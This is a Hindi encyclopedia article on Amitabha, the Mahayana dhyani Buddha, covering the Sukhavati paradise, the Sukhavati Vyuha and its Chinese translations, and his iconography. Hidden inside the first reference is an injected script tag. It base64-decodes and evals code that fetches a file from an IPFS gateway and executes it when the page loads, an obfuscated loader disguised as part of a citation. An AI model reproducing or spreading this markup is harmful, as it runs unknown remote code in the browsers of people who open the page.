अमिताभ

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अमिताभ बौद्धों के महायान संप्रदाय के अनुसार वर्तमान जगत्‌ के अभिभावक तथा अधीश्वर बुद्ध का नाम। इस संप्रदाय का यह मंतव्य है कि स्वयंभू आदिबुद्ध की ध्यानशक्ति की पाँच क्रियाओं के द्वारा पाँच ध्यानी बुद्धों की उत्पति होती है। उन्हीं में अन्यतम ध्यानी बुद्ध अमिताभ हैं। अन्य ध्यानी बुद्धों के नाम हैं-बेरोचन, अक्षोभ्य, रत्नसंभव तथा अमोघसिद्धि। आदिबुद्ध के समान इनके भी मंदिर नेपाल में उपलब्ध हैं। बौद्धों के अनुसार तीन जगत्‌ तो नष्ट हो चुके हैं और आजकल चतुर्थ जगत्‌ चल रहा है। अमिताभ ही इस वर्तमान जगत्‌ के विशिष्ट बुद्ध हैं जो इसके अधिपति (नाथ) तथा विजेता (जित) माने गए हैं। 'अमिताभ' का शाब्दिक अर्थ है अनंत प्रकाश से संपझ देव (अमिता:आभा:यस्य असौ)। उनके द्वारा अधिष्ठित स्वर्गलोक पश्चिम में माना जाता है जिसे सुखावती (विष्णुपुराण में 'सुखा') के नाम से पुकारते हैं। उस स्वर्ग में सुख की अनंत सत्ता विद्यमान है। उस लोक (सुखावती लोकधातु) के जीव हमारे देवों के समान सौंदर्य तथा सौख्यपूर्ण होते हैं। वहाँ प्रधानतया बोधिसत्वों का ही निवास है, तथापि कतिपय अर्हतों की भी सत्ता वहाँ मानी जाती है। वहाँ के जीव अमिताभ के सामने कमल से उत्पन्न होते हैं। वे भगवान्‌ बुद्ध के प्रभाभासुर शरीर का स्वत: अपने नेत्रों से दर्शन करते हैं।[1] सुखावती अनश्वर लोक नहीं है, क्योंकि वहाँ के निवासी जीव अग्रिम जन्म में बुद्धरूप से उत्पन्न होते हैं। इस प्रकार अमिताभ का स्वर्ग केवल भोगभूमि ही नहीं है, प्रत्युत वह एक आनंददायक शिक्षणकेंद्र है जहाँ जीव अपने पापों का प्रायश्चित कर अपने आपको सद्गुणसंपन्न बनाता है। जापान में अमिताभ जापानी नाम 'अमिदो' से विख्यात हैं। पूर्वोक्त स्वर्ग का वर्णनपरक संस्कृत ग्रंथ 'सुखावती व्यूह' नाम से प्रसिद्ध है जिसके दो संस्करण आजकल मिलते हैं। बृहत्‌ संस्करण के चीनी भाषा में बारह अनुवाद मिलते हैं जिनमें सबसे प्राचीन अनुवाद 147-186 ई. के बीच किया गया था। लघु संस्करण का अनुवाद कुमारजीव ने चीनी भाषा में पाँचवी शताब्दी में किया था और ह्वेनत्सांग ने सप्तम शताब्दी में। इससे इस ग्रंथ की प्रख्याति का पूर्ण परिचय मिलता है।[2][3]

रूप, वेदना, संज्ञा, संस्कार और विज्ञान नामक पंचस्कंधों में से संज्ञा की मूर्ति के रूप में एक ध्यानी बुद्ध। इनका वर्ण रक्त, वाहन मयूर, मुद्रा समाधि और प्रतीक पद्य है। ध्यानी बुद्ध[4] का तांत्रिक स्वरूप महत्वपूर्ण है जिसमें उनके मंत्र, स्वरूप, स्थान, बीज, कुल आदि का विस्तार से विवेचन मिलता है।[5]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 205 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. सं.ग्रं.-विंटरनित्स:हिस्ट्री ऑव इंडियन लिटरेचर, भाग 2, कलकता, 1925।
  3. श्री बलदेव उपाध्याय
  4. द्र. 'भारतीय देवी देवता'
  5. श्री नागेंद्रनाथ उपाध्याय

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